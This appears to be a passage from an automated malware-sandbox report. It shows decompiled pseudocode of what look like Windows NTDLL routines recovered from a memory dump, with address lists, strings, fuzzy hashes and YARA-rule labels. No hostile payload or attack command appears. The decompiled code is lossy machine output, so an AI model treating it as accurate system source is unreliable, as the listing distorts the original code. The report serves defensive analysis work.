				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E01305720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L012CDEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L012CDEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E012CD130(_t34, _t39, _t40);
			}

0x01328df1
0x01328df1
0x01328df1
0x01328df1
0x01328df1
0x01328df1
0x01328df3
0x01328df8
0x01328dfd
0x01328e00
0x01328e0e
0x01328e2a
0x01328e36
0x01328e38
0x01328e3c
0x01328e46
0x01328e46
0x01328e36
0x01328e50
0x01328e56
0x01328e59
0x01328e5c
0x01328e60
0x01328e67
0x01328e6d
0x01328e73
0x01328e74
0x01328eb1
0x01328ebd

Strings

Critical error detected %lx, xrefs: 01328E21

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: fbfa73b14a5a93459354d19baf1c93ecf5f8dbf5a3c4bf0f7d37e2804c932586
Instruction ID: 50ec1aa0b066bd451b021ace57ac318bfee697283ad5f6c7fb9414e41ef15382
Opcode Fuzzy Hash: fbfa73b14a5a93459354d19baf1c93ecf5f8dbf5a3c4bf0f7d37e2804c932586
Instruction Fuzzy Hash: C4115B71D2534CDBDF25DFA885057ACBBF4BB14718F20426DD5696B282C3750601CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0130FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 0130FF60

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: b48dce048ac8f2a1d6fc63c5bd6242d1cf8cb35a505bf02748bbbf230cabf1f9
Instruction ID: cd13cef011e2b4c9d58f590a8aae434e4039b4ceda90ca8c4ad4d780d89a5c26
Opcode Fuzzy Hash: b48dce048ac8f2a1d6fc63c5bd6242d1cf8cb35a505bf02748bbbf230cabf1f9
Instruction Fuzzy Hash: 96110071920648EFDF26DF54C958FA8BBF5FF08B08F148058E208AB2A1C7399944CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01345BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E01345BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x1351178);
				E012CD0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E01344C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E012BD000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E01345542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x13660e8;
								if( *0x13660e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x13660e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E012B9710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E012B6DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E012BF3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E012BF3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E012BF3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E012BFA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E012BFA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E012BF3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E012BF3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E01344CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E012CD130(_t427, _t494, _t511);
				}
			}

0x01345ba5
0x01345baa
0x01345baf
0x01345bb4
0x01345bb6
0x01345bbc
0x01345bbe
0x01345bc4
0x01345bcd
0x01345bd3
0x01345bd6
0x01345bdc
0x01345be0
0x01345be3
0x01345beb
0x01345bf2
0x01345bf8
0x01345bfe
0x01345c04
0x01345c0e
0x01345c18
0x01345c1f
0x01345c25
0x01345c2a
0x01345c2c
0x01345c32
0x01345c3a
0x01345c3f
0x01345c42
0x01345c48
0x01345c5b
0x01345c5b
0x01345c2c
0x01345cb7
0x01345cb9
0x01345cbf
0x01345cc2
0x01345cca
0x01345ccb
0x01345ccb
0x01345cd1
0x01345cd7
0x01345cda
0x01345ce1
0x01345ce4
0x01345ce7
0x01345ced
0x01345cf3
0x01345cf9
0x01345cff
0x01345d08
0x01345d0a
0x01345d0e
0x01345d10
0x00000000
0x00000000
0x01345d16
0x01345d1a
0x00000000
0x00000000
0x01345d20
0x01345d22
0x01345d25
0x01345d2f
0x01345d2f
0x01345d33
0x01345d3d
0x01345d49
0x01345d4b
0x00000000
0x00000000
0x01345d5a
0x01345d5d
0x01345d60
0x00000000
0x00000000
0x01345d66
0x01345d69
0x00000000
0x00000000
0x01345d6f
0x01345d6f
0x01345d73
0x01345d79
0x01345d7f
0x01345d86
0x01345d95
0x01345d98
0x01345dba
0x01345dcb
0x01345dce
0x01345dd3
0x01345dd6
0x01345dd8
0x01345de6
0x01345dec
0x01345dee
0x01345df1
0x01345df3
0x0134635a
0x0134635a
0x00000000
0x0134635a
0x01345dfe
0x01345e02
0x01345e05
0x01345e07
0x01345e10
0x01345e13
0x01345e1b
0x01345e1c
0x01345e21
0x01345e22
0x01345e23
0x01345e25
0x01345e2a
0x01345e2c
0x01345e2e
0x01345e36
0x01345e39
0x01345e42
0x01345e47
0x01345e4d
0x01345e54
0x01345e54
0x01345e54
0x01345e2e
0x01345e5c
0x01345e5f
0x01345e62
0x01345e64
0x01345e6b
0x01345e70
0x01345e7a
0x01345e7a
0x01345e7a
0x01345e6b
0x01345e7e
0x01345e7f
0x01345e7f
0x01345e81
0x01345e87
0x01345e8b
0x01345e8c
0x01345e8c
0x01345e8c
0x01345e9a
0x01345e9c
0x01345ea2
0x01345ea6
0x01345f50
0x01345f50
0x01345f57
0x01345f66
0x01345f66
0x01345f66
0x01345f68
0x01345f6a
0x013463d0
0x00000000
0x01345f70
0x01345f70
0x01345f91
0x01345f9c
0x01345f9e
0x01345fa4
0x01345fa6
0x0134638c
0x01346392
0x013463a1
0x013463a7
0x013463af
0x013463af
0x013463bd
0x013463d8
0x00000000
0x013463d8
0x01345fac
0x01345fb2
0x01345fb4
0x01345fbd
0x01345fc6
0x01345fce
0x01345fd4
0x01345fdc
0x01345fec
0x01345fed
0x01345fee
0x01345fef
0x01345ff9
0x01345ffa
0x01345ffb
0x01345ffc
0x01346000
0x01346004
0x01346012
0x01346012
0x01346018
0x01346019
0x0134601a
0x0134601b
0x0134601c
0x01346020
0x01346059
0x0134605c
0x01346061
0x01346061
0x01346022
0x01346022
0x01346022
0x01346025
0x0134602a
0x0134602b
0x01346031
0x01346037
0x01346038
0x0134603e
0x01346048
0x01346049
0x0134604a
0x0134604b
0x0134604c
0x0134604d
0x01346053
0x01346054
0x01346054
0x01346062
0x01346065
0x01346067
0x0134606a
0x01346070
0x01346075
0x01346076
0x01346081
0x01346087
0x01346095
0x01346099
0x0134609e
0x013460a4
0x013460ae
0x013460b0
0x013460b3
0x013460b6
0x013460b8
0x013460ba
0x013460ba
0x013460ba
0x013460ba
0x013460be
0x013460c0
0x013460c5
0x013460c5
0x013460c5
0x013460c6
0x013460cd
0x01346114
0x013460cf
0x013460cf
0x013460d4
0x013460d5
0x013460da
0x013460db
0x013460e1
0x013460e2
0x013460e8
0x013460f8
0x013460fd
0x013460fe
0x01346102
0x01346104
0x01346107
0x01346109
0x0134610b
0x0134610b
0x0134610b
0x0134610b
0x0134610f
0x0134610f
0x01346117
0x0134611a
0x0134611f
0x01346125
0x01346134
0x01346139
0x0134613f
0x01346146
0x01346148
0x0134614b
0x0134614d
0x0134614f
0x0134614f
0x0134614f
0x0134614f
0x01346153
0x01346159
0x01346159
0x0134615c
0x01346163
0x01346169
0x0134616c
0x01346172
0x01346181
0x01346186
0x01346187
0x0134618b
0x01346191
0x01346195
0x013461a3
0x013461bb
0x013461c0
0x013461c3
0x013461cc
0x013461d0
0x013461dc
0x013461de
0x013461e1
0x013461e4
0x013461e6
0x013461e8
0x013461e8
0x013461e8
0x013461e8
0x013461e6
0x013461ec
0x013461f3
0x01346203
0x01346209
0x0134620a
0x01346216
0x0134621d
0x01346227
0x01346241
0x01346246
0x0134624c
0x01346257
0x01346259
0x0134625c
0x0134625e
0x01346260
0x01346260
0x01346260
0x01346260
0x0134625e
0x01346264
0x01346267
0x01346269
0x01346315
0x01346315
0x0134631b
0x0134631e
0x01346324
0x01346327
0x0134632f
0x01346330
0x01346333
0x0134633a
0x0134633c
0x01346335
0x01346335
0x01346335
0x0134633f
0x01346342
0x0134634c
0x01346352
0x01346355
0x01346355
0x01346359
0x00000000
0x0134626f
0x01346275
0x01346275
0x01346278
0x0134627e
0x0134627e
0x01346281
0x01346287
0x0134628d
0x01346298
0x0134629c
0x013462a2
0x0134629e
0x0134629e
0x0134629e
0x013462a7
0x013462a7
0x013462aa
0x013462b0
0x013462f0
0x013462f0
0x013462f2
0x013462f8
0x013462fd
0x013462b2
0x013462b2
0x013462b2
0x013462b5
0x013462dd
0x013462e2
0x013462e5
0x013462b7
0x013462b8
0x013462bb
0x013462bd
0x013462c0
0x013462c4
0x013462cd
0x013462cd
0x013462c0
0x013462bb
0x013462b5
0x01346302
0x01346303
0x01346305
0x01346305
0x01346305
0x0134630c
0x0134630c
0x00000000
0x0134627e
0x01346269
0x01345eac
0x01345ebb
0x01345ebe
0x01345ecb
0x01345ecb
0x01345ece
0x01345ece
0x01345ed4
0x01345ed7
0x01345ed9
0x01345edb
0x01345edb
0x01345ee1
0x01345ee1
0x01345ee3
0x01345f20
0x01345f20
0x01345ee5
0x01345ee5
0x01345ee5
0x01345ee8
0x01345f11
0x01345f18
0x01345eea
0x01345eea
0x01345eed
0x01345ef2
0x01345ef8
0x01345efb
0x01345f0a
0x01345f0a
0x01345eed
0x01345ee8
0x01345f22
0x01345f28
0x00000000
0x00000000
0x01345f30
0x01345f31
0x01345f37
0x01345f3a
0x01345f3d
0x01345f44
0x00000000
0x00000000
0x00000000
0x01345f46
0x01345f48
0x01345f4d
0x00000000
0x01345f4d
0x01345dda
0x01345ddf
0x00000000
0x01345ddf
0x01345dd8
0x01345da7
0x01345da9
0x01345dac
0x01345dae
0x00000000
0x01345db4
0x01345db4
0x00000000
0x01345db4
0x01345dae
0x01345d88
0x01345d8d
0x01346363
0x01346369
0x0134636a
0x01346370
0x01346372
0x0134637a
0x0134637b
0x0134637d
